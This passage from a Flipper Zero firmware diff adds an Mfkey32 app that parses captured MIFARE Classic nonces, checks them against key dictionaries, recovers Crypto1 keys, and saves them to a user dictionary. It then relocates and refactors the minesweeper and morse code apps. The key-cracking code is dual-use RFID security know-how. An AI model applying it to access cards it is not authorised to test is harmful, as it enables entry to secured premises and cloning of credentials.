https://github.com/flipperdevices/flipperzero-firmware/blob/5134f44c09d39344a8747655c0d59864bb574b96/applications/services/storage/filesystem_api_defines.h#L8-L22 + if(!buffered_file_stream_open( + nonce_array->stream, MF_CLASSIC_NONCE_PATH, FSAM_READ_WRITE, FSOM_OPEN_EXISTING)) { + buffered_file_stream_close(nonce_array->stream); + break; + } + + // Check for newline ending + if(!stream_eof(nonce_array->stream)) { + if(!stream_seek(nonce_array->stream, -1, StreamOffsetFromEnd)) break; + uint8_t last_char = 0; + if(stream_read(nonce_array->stream, &last_char, 1) != 1) break; + if(last_char != '\n') { + FURI_LOG_D(TAG, "Adding new line ending"); + if(stream_write_char(nonce_array->stream, '\n') != 1) break; + } + if(!stream_rewind(nonce_array->stream)) break; + } + + // Read total amount of nonces + FuriString* next_line; + next_line = furi_string_alloc(); + while(true) { + if(!stream_read_line(nonce_array->stream, next_line)) { + FURI_LOG_T(TAG, "No nonces left"); + break; + } + FURI_LOG_T( + TAG, + "Read line: %s, len: %zu", + furi_string_get_cstr(next_line), + furi_string_size(next_line)); + if(!furi_string_start_with_str(next_line, "Sec")) continue; + const char* next_line_cstr = furi_string_get_cstr(next_line); + MfClassicNonce res = {0}; + char token[20]; + int i = 0; + const char* ptr = next_line_cstr; + while(sscanf(ptr, "%s", token) == 1) { + switch(i) { + case 5: + sscanf(token, "%lx", &res.uid); + break; + case 7: + sscanf(token, "%lx", &res.nt0); + break; + case 9: + sscanf(token, "%lx", &res.nr0_enc); + break; + case 11: + sscanf(token, "%lx", &res.ar0_enc); + break; + case 13: + sscanf(token, "%lx", &res.nt1); + break; + case 15: + sscanf(token, "%lx", &res.nr1_enc); + break; + case 17: + sscanf(token, "%lx", &res.ar1_enc); + break; + default: + break; // Do nothing + } + i++; + ptr = strchr(ptr, ' '); + if(!ptr) { + break; + } + ptr++; + } + (program_state->total)++; + uint32_t p64b = prng_successor(res.nt1, 64); + if((system_dict_exists && + napi_key_already_found_for_nonce( + system_dict, res.uid ^ res.nt1, res.nr1_enc, p64b, res.ar1_enc)) || + (user_dict_exists && + napi_key_already_found_for_nonce( + user_dict, res.uid ^ res.nt1, res.nr1_enc, p64b, res.ar1_enc))) { + (program_state->cracked)++; + continue; + } + FURI_LOG_I(TAG, "No key found for %lx %lx", res.uid, res.ar1_enc); + // TODO: Refactor + nonce_array->remaining_nonce_array = realloc( + nonce_array->remaining_nonce_array, + sizeof(MfClassicNonce) * ((nonce_array->remaining_nonces) + 1)); + nonce_array->remaining_nonces++; + nonce_array->remaining_nonce_array[(nonce_array->remaining_nonces) - 1] = res; + nonce_array->total_nonces++; + } + furi_string_free(next_line); + stream_rewind(nonce_array->stream); + + array_loaded = true; + FURI_LOG_I(TAG, "Loaded %lu nonces", nonce_array->total_nonces); + } while(false); + + if(!array_loaded) { + buffered_file_stream_close(nonce_array->stream); + free(nonce_array); + nonce_array = NULL; + } + + return nonce_array; +} + +void napi_mf_classic_nonce_array_free(MfClassicNonceArray* nonce_array) { + furi_assert(nonce_array); + furi_assert(nonce_array->stream); + + buffered_file_stream_close(nonce_array->stream); + stream_free(nonce_array->stream); + free(nonce_array); +} + +static void finished_beep() { + // Beep to indicate completion if the speaker is available + if(furi_hal_speaker_acquire(1000)) { // Wait up to a second for the speaker + float freq = 3000; + float volume = 1.0f; // 100% volume + furi_hal_speaker_start(freq, volume); + furi_delay_ms(75); + furi_hal_speaker_stop(); + furi_hal_speaker_release(); + } +} + +void mfkey32(ProgramState* const program_state) { + uint64_t found_key; // recovered key + size_t keyarray_size = 0; + uint64_t* keyarray = malloc(sizeof(uint64_t) * 1); + uint32_t i = 0; + // Check for nonces + if(!napi_mf_classic_nonces_check_presence()) { + program_state->err = MissingNonces; + program_state->mfkey_state = Error; + return; + } + // Read dictionaries (optional) + MfClassicDict* system_dict = {0}; + bool system_dict_exists = napi_mf_classic_dict_check_presence(MfClassicDictTypeSystem); + MfClassicDict* user_dict = {0}; + bool user_dict_exists = napi_mf_classic_dict_check_presence(MfClassicDictTypeUser); + uint32_t total_dict_keys = 0; + if(system_dict_exists) { + system_dict = napi_mf_classic_dict_alloc(MfClassicDictTypeSystem); + total_dict_keys += napi_mf_classic_dict_get_total_keys(system_dict); + } + user_dict = napi_mf_classic_dict_alloc(MfClassicDictTypeUser); + if(user_dict_exists) { + total_dict_keys += napi_mf_classic_dict_get_total_keys(user_dict); + } + user_dict_exists = true; + program_state->dict_count = total_dict_keys; + program_state->mfkey_state = DictionaryAttack; + // Read nonces + MfClassicNonceArray* nonce_arr; + nonce_arr = napi_mf_classic_nonce_array_alloc( + system_dict, system_dict_exists, user_dict, user_dict_exists, program_state); + if(system_dict_exists) { + napi_mf_classic_dict_free(system_dict); + } + if(nonce_arr->total_nonces == 0) { + // Nothing to crack + program_state->err = ZeroNonces; + program_state->mfkey_state = Error; + napi_mf_classic_nonce_array_free(nonce_arr); + napi_mf_classic_dict_free(user_dict); + free(keyarray); + return; + } + if(memmgr_get_free_heap() < MIN_RAM) { + // Insufficient RAM + program_state->err = OutOfMemory; + program_state->mfkey_state = Error; + napi_mf_classic_nonce_array_free(nonce_arr); + napi_mf_classic_dict_free(user_dict); + free(keyarray); + return; + } + program_state->mfkey_state = MfkeyAttack; + for(i = 0; i < nonce_arr->total_nonces; i++) { + MfClassicNonce next_nonce = nonce_arr->remaining_nonce_array[i]; + uint32_t p64 = prng_successor(next_nonce.nt0, 64); + uint32_t p64b = prng_successor(next_nonce.nt1, 64); + if(key_already_found_for_nonce( + keyarray, + keyarray_size, + next_nonce.uid ^ next_nonce.nt1, + next_nonce.nr1_enc, + p64b, + next_nonce.ar1_enc)) { + nonce_arr->remaining_nonces--; + (program_state->cracked)++; + continue; + } + FURI_LOG_I(TAG, "Cracking %lx %lx", next_nonce.uid, next_nonce.ar1_enc); + struct Crypto1Params p = { + 0, + next_nonce.nr0_enc, + next_nonce.uid ^ next_nonce.nt0, + next_nonce.uid ^ next_nonce.nt1, + next_nonce.nr1_enc, + p64b, + next_nonce.ar1_enc}; + if(recover(&p, next_nonce.ar0_enc ^ p64, program_state) == 0) { + // No key found in recover() + continue; + } + found_key = p.key; + bool already_found = false; + for(i = 0; i < keyarray_size; i++) { + if(keyarray[i] == found_key) { + already_found = true; + break; + } + } + if(already_found == false) { + // New key + keyarray = realloc(keyarray, sizeof(uint64_t) * (keyarray_size + 1)); + keyarray_size += 1; + keyarray[keyarray_size - 1] = found_key; + (program_state->cracked)++; + (program_state->unique_cracked)++; + } + } + // TODO: Update display to show all keys were found + // TODO: Prepend found key(s) to user dictionary file + //FURI_LOG_I(TAG, "Unique keys found:"); + for(i = 0; i < keyarray_size; i++) { + //FURI_LOG_I(TAG, "%012" PRIx64, keyarray[i]); + FuriString* temp_key = furi_string_alloc(); + furi_string_cat_printf(temp_key, "%012" PRIX64, keyarray[i]); + napi_mf_classic_dict_add_key_str(user_dict, temp_key); + furi_string_free(temp_key); + } + napi_mf_classic_nonce_array_free(nonce_arr); + if(user_dict_exists) { + napi_mf_classic_dict_free(user_dict); + } + free(keyarray); + //FURI_LOG_I(TAG, "mfkey32 function completed normally"); // DEBUG + program_state->mfkey_state = Complete; + finished_beep(); + return; +} + +// Screen is 128x64 px +static void render_callback(Canvas* const canvas, void* ctx) { + furi_assert(ctx); + const ProgramState* program_state = ctx; + furi_mutex_acquire(program_state->mutex, FuriWaitForever); + char draw_str[32] = {}; + canvas_clear(canvas); + canvas_draw_frame(canvas, 0, 0, 128, 64); + canvas_draw_frame(canvas, 0, 15, 128, 64); + canvas_set_font(canvas, FontPrimary); + canvas_draw_str_aligned(canvas, 5, 4, AlignLeft, AlignTop, "Mfkey32"); + canvas_draw_icon(canvas, 114, 4, &I_mfkey); + if(program_state->is_thread_running && program_state->mfkey_state == MfkeyAttack) { + float progress = (float)program_state->cracked / (float)program_state->total; + elements_progress_bar_with_text(canvas, 5, 18, 118, progress, draw_str); + canvas_set_font(canvas, FontSecondary); + snprintf( + draw_str, + sizeof(draw_str), + "Keys found: %d/%d (in prog.)", + program_state->cracked, + program_state->total); + canvas_draw_str_aligned(canvas, 5, 31, AlignLeft, AlignTop, draw_str); + snprintf( + draw_str, sizeof(draw_str), "Search: %d/%d", program_state->search, 256 / MSB_LIMIT); + canvas_draw_str_aligned(canvas, 26, 41, AlignLeft, AlignTop, draw_str); + } else if(program_state->is_thread_running && program_state->mfkey_state == DictionaryAttack) { + elements_progress_bar_with_text(canvas, 5, 18, 118, 0, draw_str); + canvas_set_font(canvas, FontSecondary); + snprintf( + draw_str, sizeof(draw_str), "Dict solves: %d (in progress)", program_state->cracked); + canvas_draw_str_aligned(canvas, 10, 31, AlignLeft, AlignTop, draw_str); + snprintf(draw_str, sizeof(draw_str), "Keys in dict: %d", program_state->dict_count); + canvas_draw_str_aligned(canvas, 26, 41, AlignLeft, AlignTop, draw_str); + } else if(program_state->mfkey_state == Complete) { + // TODO: Scrollable list view to see cracked keys if user presses down + elements_progress_bar_with_text(canvas, 5, 18, 118, 1, draw_str); + canvas_set_font(canvas, FontSecondary); + snprintf(draw_str, sizeof(draw_str), "Complete"); + canvas_draw_str_aligned(canvas, 40, 31, AlignLeft, AlignTop, draw_str); + snprintf( + draw_str, + sizeof(draw_str), + "Keys added to user dict: %d", + program_state->unique_cracked); + canvas_draw_str_aligned(canvas, 10, 41, AlignLeft, AlignTop, draw_str); + } else if(program_state->mfkey_state == Ready) { + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 50, 30, AlignLeft, AlignTop, "Ready"); + elements_button_center(canvas, "Start"); + elements_button_right(canvas, "Help"); + } else if(program_state->mfkey_state == Help) { + canvas_set_font(canvas, FontSecondary); + canvas_draw_str_aligned(canvas, 7, 20, AlignLeft, AlignTop, "Collect nonces using"); + canvas_draw_str_aligned(canvas, 7, 30, AlignLeft, AlignTop, "Detect Reader."); + canvas_draw_str_aligned(canvas, 7, 40, AlignLeft, AlignTop, "Developers: noproto, AG"); + canvas_draw_str_aligned(canvas, 7, 50, AlignLeft, AlignTop, "Thanks: bettse"); + } else if(program_state->mfkey_state == Error) { + canvas_draw_str_aligned(canvas, 50, 25, AlignLeft, AlignTop, "Error"); + canvas_set_font(canvas, FontSecondary); + if(program_state->err == MissingNonces) { + canvas_draw_str_aligned(canvas, 25, 36, AlignLeft, AlignTop, "No nonces found"); + } else if(program_state->err == ZeroNonces) { + canvas_draw_str_aligned(canvas, 25, 36, AlignLeft, AlignTop, "No nonces to crack"); + } else if(program_state->err == OutOfMemory) { + canvas_draw_str_aligned(canvas, 25, 36, AlignLeft, AlignTop, "Insufficient memory"); + } else { + // Unhandled error + } + } else { + // Unhandled program state + } + furi_mutex_release(program_state->mutex); +} + +static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { + furi_assert(event_queue); + + PluginEvent event = {.type = EventTypeKey, .input = *input_event}; + furi_message_queue_put(event_queue, &event, FuriWaitForever); +} + +static void mfkey32_state_init(ProgramState* const program_state) { + program_state->is_thread_running = false; + program_state->mfkey_state = Ready; + program_state->cracked = 0; + program_state->unique_cracked = 0; + program_state->total = 0; + program_state->dict_count = 0; +} + +// Entrypoint for worker thread +static int32_t mfkey32_worker_thread(void* ctx) { + ProgramState* program_state = ctx; + program_state->is_thread_running = true; + program_state->mfkey_state = Initializing; + //FURI_LOG_I(TAG, "Hello from the mfkey32 worker thread"); // DEBUG + mfkey32(program_state); + program_state->is_thread_running = false; + return 0; +} + +void start_mfkey32_thread(ProgramState* program_state) { + if(!program_state->is_thread_running) { + furi_thread_start(program_state->mfkeythread); + } +} + +int32_t mfkey32_main() { + FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); + + DOLPHIN_DEED(DolphinDeedPluginStart); + ProgramState* program_state = malloc(sizeof(ProgramState)); + + mfkey32_state_init(program_state); + + program_state->mutex = furi_mutex_alloc(FuriMutexTypeNormal); + if(!program_state->mutex) { + FURI_LOG_E(TAG, "cannot create mutex\r\n"); + free(program_state); + return 255; + } + + // Set system callbacks + ViewPort* view_port = view_port_alloc(); + view_port_draw_callback_set(view_port, render_callback, program_state); + view_port_input_callback_set(view_port, input_callback, event_queue); + + // Open GUI and register view_port + Gui* gui = furi_record_open(RECORD_GUI); + gui_add_view_port(gui, view_port, GuiLayerFullscreen); + + program_state->mfkeythread = furi_thread_alloc(); + furi_thread_set_name(program_state->mfkeythread, "Mfkey32 Worker"); + furi_thread_set_stack_size(program_state->mfkeythread, 2048); + furi_thread_set_context(program_state->mfkeythread, program_state); + furi_thread_set_callback(program_state->mfkeythread, mfkey32_worker_thread); + + PluginEvent event; + for(bool main_loop = true; main_loop;) { + FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); + + furi_mutex_acquire(program_state->mutex, FuriWaitForever); + + if(event_status == FuriStatusOk) { + // press events + if(event.type == EventTypeKey) { + if(event.input.type == InputTypePress) { + switch(event.input.key) { + case InputKeyUp: + break; + case InputKeyDown: + break; + case InputKeyRight: + if(!program_state->is_thread_running && + program_state->mfkey_state == Ready) { + program_state->mfkey_state = Help; + view_port_update(view_port); + } + break; + case InputKeyLeft: + break; + case InputKeyOk: + if(!program_state->is_thread_running && + program_state->mfkey_state == Ready) { + start_mfkey32_thread(program_state); + view_port_update(view_port); + } + break; + case InputKeyBack: + if(!program_state->is_thread_running && + program_state->mfkey_state == Help) { + program_state->mfkey_state = Ready; + view_port_update(view_port); + } else { + program_state->close_thread_please = true; + if(program_state->is_thread_running && program_state->mfkeythread) { + // Wait until thread is finished + furi_thread_join(program_state->mfkeythread); + } + program_state->close_thread_please = false; + main_loop = false; + } + break; + default: + break; + } + } + } + } + + view_port_update(view_port); + furi_mutex_release(program_state->mutex); + } + + furi_thread_free(program_state->mfkeythread); + view_port_enabled_set(view_port, false); + gui_remove_view_port(gui, view_port); + furi_record_close("gui"); + view_port_free(view_port); + furi_message_queue_free(event_queue); + furi_mutex_free(program_state->mutex); + free(program_state); + + return 0; +} diff --git a/applications/plugins/nrf24scan/LICENSE b/applications/external/minesweeper/LICENSE similarity index 100% rename from applications/plugins/nrf24scan/LICENSE rename to applications/external/minesweeper/LICENSE diff --git a/applications/plugins/minesweeper/application.fam b/applications/external/minesweeper/application.fam similarity index 88% rename from applications/plugins/minesweeper/application.fam rename to applications/external/minesweeper/application.fam index 405cb0d1c..c0211282c 100644 --- a/applications/plugins/minesweeper/application.fam +++ b/applications/external/minesweeper/application.fam @@ -3,7 +3,6 @@ App( name="Minesweeper", apptype=FlipperAppType.EXTERNAL, entry_point="minesweeper_app", - cdefines=["APP_MINESWEEPER"], requires=["gui"], stack_size=8 * 1024, fap_category="Games", diff --git a/applications/plugins/minesweeper/assets.h b/applications/external/minesweeper/assets.h similarity index 100% rename from applications/plugins/minesweeper/assets.h rename to applications/external/minesweeper/assets.h diff --git a/applications/plugins/minesweeper/assets/asset b/applications/external/minesweeper/assets/asset similarity index 100% rename from applications/plugins/minesweeper/assets/asset rename to applications/external/minesweeper/assets/asset diff --git a/applications/plugins/minesweeper/assets/mockup.png b/applications/external/minesweeper/assets/mockup.png similarity index 100% rename from applications/plugins/minesweeper/assets/mockup.png rename to applications/external/minesweeper/assets/mockup.png diff --git a/applications/plugins/minesweeper/assets/tile_0.png b/applications/external/minesweeper/assets/tile_0.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_0.png rename to applications/external/minesweeper/assets/tile_0.png diff --git a/applications/plugins/minesweeper/assets/tile_0.xbm b/applications/external/minesweeper/assets/tile_0.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_0.xbm rename to applications/external/minesweeper/assets/tile_0.xbm diff --git a/applications/plugins/minesweeper/assets/tile_1.png b/applications/external/minesweeper/assets/tile_1.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_1.png rename to applications/external/minesweeper/assets/tile_1.png diff --git a/applications/plugins/minesweeper/assets/tile_1.xbm b/applications/external/minesweeper/assets/tile_1.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_1.xbm rename to applications/external/minesweeper/assets/tile_1.xbm diff --git a/applications/plugins/minesweeper/assets/tile_2.png b/applications/external/minesweeper/assets/tile_2.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_2.png rename to applications/external/minesweeper/assets/tile_2.png diff --git a/applications/plugins/minesweeper/assets/tile_2.xbm b/applications/external/minesweeper/assets/tile_2.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_2.xbm rename to applications/external/minesweeper/assets/tile_2.xbm diff --git a/applications/plugins/minesweeper/assets/tile_3.png b/applications/external/minesweeper/assets/tile_3.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_3.png rename to applications/external/minesweeper/assets/tile_3.png diff --git a/applications/plugins/minesweeper/assets/tile_3.xbm b/applications/external/minesweeper/assets/tile_3.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_3.xbm rename to applications/external/minesweeper/assets/tile_3.xbm diff --git a/applications/plugins/minesweeper/assets/tile_4.png b/applications/external/minesweeper/assets/tile_4.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_4.png rename to applications/external/minesweeper/assets/tile_4.png diff --git a/applications/plugins/minesweeper/assets/tile_4.xbm b/applications/external/minesweeper/assets/tile_4.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_4.xbm rename to applications/external/minesweeper/assets/tile_4.xbm diff --git a/applications/plugins/minesweeper/assets/tile_5.png b/applications/external/minesweeper/assets/tile_5.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_5.png rename to applications/external/minesweeper/assets/tile_5.png diff --git a/applications/plugins/minesweeper/assets/tile_5.xbm b/applications/external/minesweeper/assets/tile_5.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_5.xbm rename to applications/external/minesweeper/assets/tile_5.xbm diff --git a/applications/plugins/minesweeper/assets/tile_6.png b/applications/external/minesweeper/assets/tile_6.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_6.png rename to applications/external/minesweeper/assets/tile_6.png diff --git a/applications/plugins/minesweeper/assets/tile_6.xbm b/applications/external/minesweeper/assets/tile_6.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_6.xbm rename to applications/external/minesweeper/assets/tile_6.xbm diff --git a/applications/plugins/minesweeper/assets/tile_7.png b/applications/external/minesweeper/assets/tile_7.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_7.png rename to applications/external/minesweeper/assets/tile_7.png diff --git a/applications/plugins/minesweeper/assets/tile_7.xbm b/applications/external/minesweeper/assets/tile_7.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_7.xbm rename to applications/external/minesweeper/assets/tile_7.xbm diff --git a/applications/plugins/minesweeper/assets/tile_8.png b/applications/external/minesweeper/assets/tile_8.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_8.png rename to applications/external/minesweeper/assets/tile_8.png diff --git a/applications/plugins/minesweeper/assets/tile_8.xbm b/applications/external/minesweeper/assets/tile_8.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_8.xbm rename to applications/external/minesweeper/assets/tile_8.xbm diff --git a/applications/plugins/minesweeper/assets/tile_empty.png b/applications/external/minesweeper/assets/tile_empty.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_empty.png rename to applications/external/minesweeper/assets/tile_empty.png diff --git a/applications/plugins/minesweeper/assets/tile_flag.png b/applications/external/minesweeper/assets/tile_flag.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_flag.png rename to applications/external/minesweeper/assets/tile_flag.png diff --git a/applications/plugins/minesweeper/assets/tile_flag.xbm b/applications/external/minesweeper/assets/tile_flag.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_flag.xbm rename to applications/external/minesweeper/assets/tile_flag.xbm diff --git a/applications/plugins/minesweeper/assets/tile_mine.png b/applications/external/minesweeper/assets/tile_mine.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_mine.png rename to applications/external/minesweeper/assets/tile_mine.png diff --git a/applications/plugins/minesweeper/assets/tile_mine.xbm b/applications/external/minesweeper/assets/tile_mine.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_mine.xbm rename to applications/external/minesweeper/assets/tile_mine.xbm diff --git a/applications/plugins/minesweeper/assets/tile_uncleared.png b/applications/external/minesweeper/assets/tile_uncleared.png similarity index 100% rename from applications/plugins/minesweeper/assets/tile_uncleared.png rename to applications/external/minesweeper/assets/tile_uncleared.png diff --git a/applications/plugins/minesweeper/assets/tile_uncleared.xbm b/applications/external/minesweeper/assets/tile_uncleared.xbm similarity index 100% rename from applications/plugins/minesweeper/assets/tile_uncleared.xbm rename to applications/external/minesweeper/assets/tile_uncleared.xbm diff --git a/applications/plugins/minesweeper/img/screenshot.png b/applications/external/minesweeper/img/screenshot.png similarity index 100% rename from applications/plugins/minesweeper/img/screenshot.png rename to applications/external/minesweeper/img/screenshot.png diff --git a/applications/plugins/minesweeper/minesweeper.c b/applications/external/minesweeper/minesweeper.c similarity index 89% rename from applications/plugins/minesweeper/minesweeper.c rename to applications/external/minesweeper/minesweeper.c index 43e8f027e..af056eabc 100644 --- a/applications/plugins/minesweeper/minesweeper.c +++ b/applications/external/minesweeper/minesweeper.c @@ -45,9 +45,11 @@ typedef enum { typedef enum { FieldEmpty, FieldMine } Field; typedef struct { + FuriMutex* mutex; + DialogsApp* dialogs; + NotificationApp* notifications; Field minefield[PLAYFIELD_WIDTH][PLAYFIELD_HEIGHT]; TileType playfield[PLAYFIELD_WIDTH][PLAYFIELD_HEIGHT]; - FuriTimer* timer; int cursor_x; int cursor_y; int mines_left; @@ -55,16 +57,8 @@ typedef struct { int flags_set; bool game_started; uint32_t game_started_tick; - FuriMutex* mutex; } Minesweeper; -static void timer_callback(void* ctx) { - UNUSED(ctx); - NotificationApp* notification = furi_record_open(RECORD_NOTIFICATION); - notification_message(notification, &sequence_reset_vibro); - furi_record_close(RECORD_NOTIFICATION); -} - static void input_callback(InputEvent* input_event, FuriMessageQueue* event_queue) { furi_assert(event_queue); @@ -177,7 +171,7 @@ static void setup_playfield(Minesweeper* minesweeper_state) { int rand_y = rand() % PLAYFIELD_HEIGHT; // make sure first guess isn't a mine if(minesweeper_state->minefield[rand_x][rand_y] == FieldEmpty && - (minesweeper_state->cursor_x != rand_x && minesweeper_state->cursor_y != rand_y)) { + (minesweeper_state->cursor_x != rand_x || minesweeper_state->cursor_y != rand_y)) { minesweeper_state->minefield[rand_x][rand_y] = FieldMine; mines_left--; } @@ -206,37 +200,25 @@ static void place_flag(Minesweeper* minesweeper_state) { static bool game_lost(Minesweeper* minesweeper_state) { // returns true if the player wants to restart, otherwise false - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - DialogMessage* message = dialog_message_alloc(); - const char* header_text = "Game Over"; - const char* message_text = "You hit a mine!"; - dialog_message_set_header(message, header_text, 64, 3, AlignCenter, AlignTop); - dialog_message_set_text(message, message_text, 64, 32, AlignCenter, AlignCenter); + dialog_message_set_header(message, "Game Over", 64, 3, AlignCenter, AlignTop); + dialog_message_set_text(message, "You hit a mine!", 64, 32, AlignCenter, AlignCenter); dialog_message_set_buttons(message, NULL, "Play again", NULL); - dialog_message_set_icon(message, NULL, 0, 10); - // Set cursor to initial position minesweeper_state->cursor_x = 0; minesweeper_state->cursor_y = 0; - NotificationApp* notifications = furi_record_open(RECORD_NOTIFICATION); - notification_message(notifications, &sequence_set_vibro_on); - furi_record_close(RECORD_NOTIFICATION); - furi_timer_start(minesweeper_state->timer, (uint32_t)furi_kernel_get_tick_frequency() * 0.2); + notification_message(minesweeper_state->notifications, &sequence_single_vibro); - DialogMessageButton choice = dialog_message_show(dialogs, message); + DialogMessageButton choice = dialog_message_show(minesweeper_state->dialogs, message); dialog_message_free(message); - furi_record_close(RECORD_DIALOGS); return choice == DialogMessageButtonCenter; } static bool game_won(Minesweeper* minesweeper_state) { - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - FuriString* tempStr; tempStr = furi_string_alloc(); @@ -254,12 +236,10 @@ static bool game_won(Minesweeper* minesweeper_state) { dialog_message_set_text( message, furi_string_get_cstr(tempStr), 64, 32, AlignCenter, AlignCenter); dialog_message_set_buttons(message, NULL, "Play again", NULL); - dialog_message_set_icon(message, NULL, 72, 17); - DialogMessageButton choice = dialog_message_show(dialogs, message); + DialogMessageButton choice = dialog_message_show(minesweeper_state->dialogs, message); dialog_message_free(message); furi_string_free(tempStr); - furi_record_close(RECORD_DIALOGS); return choice == DialogMessageButtonCenter; } @@ -370,22 +350,6 @@ static void minesweeper_state_init(Minesweeper* const minesweeper_state) { int32_t minesweeper_app(void* p) { UNUSED(p); - DialogsApp* dialogs = furi_record_open(RECORD_DIALOGS); - - DialogMessage* message = dialog_message_alloc(); - const char* header_text = "Minesweeper"; - const char* message_text = "Hold OK pressed to toggle flags.\ngithub.com/panki27"; - - dialog_message_set_header(message, header_text, 64, 3, AlignCenter, AlignTop); - dialog_message_set_text(message, message_text, 64, 32, AlignCenter, AlignCenter); - dialog_message_set_buttons(message, NULL, "Play", NULL); - - dialog_message_set_icon(message, NULL, 0, 10); - - dialog_message_show(dialogs, message); - dialog_message_free(message); - furi_record_close(RECORD_DIALOGS); - FuriMessageQueue* event_queue = furi_message_queue_alloc(8, sizeof(PluginEvent)); Minesweeper* minesweeper_state = malloc(sizeof(Minesweeper)); @@ -400,12 +364,28 @@ int32_t minesweeper_app(void* p) { } // BEGIN IMPLEMENTATION + minesweeper_state->dialogs = furi_record_open(RECORD_DIALOGS); + minesweeper_state->notifications = furi_record_open(RECORD_NOTIFICATION); + + DialogMessage* message = dialog_message_alloc(); + + dialog_message_set_header(message, "Minesweeper", 64, 3, AlignCenter, AlignTop); + dialog_message_set_text( + message, + "Hold OK pressed to toggle flags.\ngithub.com/panki27", + 64, + 32, + AlignCenter, + AlignCenter); + dialog_message_set_buttons(message, NULL, "Play", NULL); + + dialog_message_show(minesweeper_state->dialogs, message); + dialog_message_free(message); + // Set system callbacks ViewPort* view_port = view_port_alloc(); view_port_draw_callback_set(view_port, render_callback, minesweeper_state); view_port_input_callback_set(view_port, input_callback, event_queue); - minesweeper_state->timer = - furi_timer_alloc(timer_callback, FuriTimerTypeOnce, minesweeper_state); // Open GUI and register view_port Gui* gui = furi_record_open(RECORD_GUI); @@ -414,35 +394,42 @@ int32_t minesweeper_app(void* p) { PluginEvent event; for(bool processing = true; processing;) { FuriStatus event_status = furi_message_queue_get(event_queue, &event, 100); - furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); if(event_status == FuriStatusOk) { // press events if(event.type == EventTypeKey) { if(event.input.type == InputTypeShort) { switch(event.input.key) { case InputKeyUp: + furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); minesweeper_state->cursor_y--; if(minesweeper_state->cursor_y < 0) { minesweeper_state->cursor_y = PLAYFIELD_HEIGHT - 1; } + furi_mutex_release(minesweeper_state->mutex); break; case InputKeyDown: + furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); minesweeper_state->cursor_y++; if(minesweeper_state->cursor_y >= PLAYFIELD_HEIGHT) { minesweeper_state->cursor_y = 0; } + furi_mutex_release(minesweeper_state->mutex); break; case InputKeyRight: + furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); minesweeper_state->cursor_x++; if(minesweeper_state->cursor_x >= PLAYFIELD_WIDTH) { minesweeper_state->cursor_x = 0; } + furi_mutex_release(minesweeper_state->mutex); break; case InputKeyLeft: + furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); minesweeper_state->cursor_x--; if(minesweeper_state->cursor_x < 0) { minesweeper_state->cursor_x = PLAYFIELD_WIDTH - 1; } + furi_mutex_release(minesweeper_state->mutex); break; case InputKeyOk: if(!minesweeper_state->game_started) { @@ -492,7 +479,9 @@ int32_t minesweeper_app(void* p) { break; case InputKeyOk: FURI_LOG_D("Minesweeper", "Toggling flag"); + furi_mutex_acquire(minesweeper_state->mutex, FuriWaitForever); place_flag(minesweeper_state); + furi_mutex_release(minesweeper_state->mutex); break; case InputKeyBack: processing = false; @@ -504,15 +493,15 @@ int32_t minesweeper_app(void* p) { } } view_port_update(view_port); - furi_mutex_release(minesweeper_state->mutex); } view_port_enabled_set(view_port, false); gui_remove_view_port(gui, view_port); furi_record_close(RECORD_GUI); + furi_record_close(RECORD_DIALOGS); + furi_record_close(RECORD_NOTIFICATION); view_port_free(view_port); furi_message_queue_free(event_queue); furi_mutex_free(minesweeper_state->mutex); - furi_timer_free(minesweeper_state->timer); free(minesweeper_state); return 0; diff --git a/applications/plugins/minesweeper/minesweeper_icon.png b/applications/external/minesweeper/minesweeper_icon.png similarity index 100% rename from applications/plugins/minesweeper/minesweeper_icon.png rename to applications/external/minesweeper/minesweeper_icon.png diff --git a/applications/plugins/morse_code/application.fam b/applications/external/morse_code/application.fam similarity index 88% rename from applications/plugins/morse_code/application.fam rename to applications/external/morse_code/application.fam index d5a2e6c9a..d6898100d 100644 --- a/applications/plugins/morse_code/application.fam +++ b/applications/external/morse_code/application.fam @@ -3,7 +3,6 @@ App( name="Morse Code", apptype=FlipperAppType.EXTERNAL, entry_point="morse_code_app", - cdefines=["APP_MORSE_CODE"], requires=[ "gui", ], diff --git a/applications/plugins/morse_code/morse_code.c b/applications/external/morse_code/morse_code.c similarity index 100% rename from applications/plugins/morse_code/morse_code.c rename to applications/external/morse_code/morse_code.c diff --git a/applications/plugins/morse_code/morse_code_10px.png b/applications/external/morse_code/morse_code_10px.png similarity index 100% rename from applications/plugins/morse_code/morse_code_10px.png rename to applications/external/morse_code/morse_code_10px.png diff --git a/applications/plugins/morse_code/morse_code_worker.c b/applications/external/morse_code/morse_code_worker.c similarity index 100% rename from 